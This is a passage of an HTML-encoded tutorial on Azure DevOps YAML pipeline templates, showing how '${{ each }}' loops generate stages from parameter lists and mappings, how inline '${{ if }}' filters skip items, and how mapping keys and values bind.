data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eenvironments\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# Caller passes standard hyphenated names\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etier\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeast-us\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-dev-eastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etier\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ewest-eu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-prod-westeu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ each env in parameters.environments }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# Sanitize the tier and region names by replacing hyphens with underscores\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ replace(env.tier, \u0026#39;-\u0026#39;, \u0026#39;_\u0026#39;) }}_${{ replace(env.region, \u0026#39;-\u0026#39;, \u0026#39;_\u0026#39;) }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;${{ env.tier }} (${{ env.region }})\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# Azure DevOps environment names use hyphen convention, so original value is fine here\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ env.tier }}-${{ env.region }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Deploying ${{ env.tier }} to ${{ env.region }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"filtering-with-inline--if-\"\u003eFiltering with Inline \u003ccode\u003e${{ if }}\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003ePlace a \u003ccode\u003e${{ if condition }}\u003c/code\u003e block inside the \u003ccode\u003e${{ each }}\u003c/code\u003e body to skip items that do not match a filter criterion. No stage or job is generated for filtered-out items — they are absent from the Expanded YAML entirely.\u003c/p\u003e\n\u003cp\u003eThis approach moves filter logic into the template. The caller provides the full set of environments; the template decides which ones produce stages based on built-in criteria. Callers do not need to pre-filter their arrays before passing them in.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# templates/deploy-stage.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eenvironments\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: []\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ each env in parameters.environments }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# Only generate a stage when deployOnPR is explicitly true\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(env.deployOnPR, true) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy_${{ env.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;PR deploy: ${{ env.name }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ env.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;PR deployment to ${{ env.name }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# azure-pipelines.yml — caller provides all five environments unfiltered\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003etemplates/deploy-stage.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eenvironments\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev_eastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edeployOnPR\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e    \u003cspan style=\"color:#75715e\"\u003e# Stage generated\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev_westeu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edeployOnPR\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e   \u003cspan style=\"color:#75715e\"\u003e# Skipped — absent from Expanded YAML\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estaging\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edeployOnPR\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e    \u003cspan style=\"color:#75715e\"\u003e# Stage generated\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod_eastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edeployOnPR\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e   \u003cspan style=\"color:#75715e\"\u003e# Skipped\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod_westeu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edeployOnPR\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e   \u003cspan style=\"color:#75715e\"\u003e# Skipped\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe Expanded YAML contains exactly two deployment stages: \u003ccode\u003eDeploy_dev_eastus\u003c/code\u003e and \u003ccode\u003eDeploy_staging\u003c/code\u003e. The other three never reach the plan.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"iterating-key-value-mappings\"\u003eIterating Key-Value Mappings\u003c/h2\u003e\n\u003ch3 id=\"the-key--value-binding\"\u003eThe \u003ccode\u003ekey\u003c/code\u003e / \u003ccode\u003evalue\u003c/code\u003e Binding\u003c/h3\u003e\n\u003cp\u003eWhen the parameter is a YAML mapping rather than a sequence, \u003ccode\u003e${{ each pair in parameters.regionMap }}\u003c/code\u003e binds \u003ccode\u003epair.key\u003c/code\u003e to the map key (always a string) and \u003ccode\u003epair.value\u003c/code\u003e to the map value. The value can be a string, number, boolean, or a nested mapping.\u003c/p\u003e\n\u003cp\u003eThis is the idiomatic pattern when the key is itself a meaningful identifier — a region code, a tenant ID, a service name — and the value carries supplementary configuration.\u003c/p\u003e\n\u003cp\u003eOne constraint: mapping iteration order is alphabetical by key. If you need stages to run in a specific sequence, use a sequence of objects with explicit \u003ccode\u003edependsOn:\u003c/code\u003e properties rather than a mapping.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esubscriptions\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eeastus\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esub-001\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ewesteu\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esub-002\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eapsouth\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esub-003\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Iterates alphabetically: apsouth → eastus → westeu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ each sub in parameters.subscriptions }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy_${{ sub.key }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Deploy to ${{ sub.key }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ sub.key }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003esubscriptionId\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ sub.value }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                az account set --subscription $(subscriptionId)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                echo \u0026#34;Deploying to ${{ sub.key }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Deploy to ${{ sub.key }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"mapping-values-as-nested-objects\"\u003eMapping Values as Nested Objects\u003c/h3\u003e\n\u003cp\u003eA mapping\u0026rsquo;s values can be mappings themselves. This is useful when the key is a natural, unique identifier and the value carries a structured configuration payload.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eregions\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eeastus\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003esubscriptionId\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esub-001\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003etier\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eblueGreen\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ewesteu\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003esubscriptionId\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esub-002\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003etier\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eblueGreen\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edev_eastus\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003esubscriptionId\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esub-dev-001\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003etier\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eblueGreen\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ each region in parameters.regions }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy_${{ replace(region.key, \u0026#39;-\u0026#39;, \u0026#39;_\u0026#39;) }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Deploy to ${{ region.key }} (${{ region.value.tier }})\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    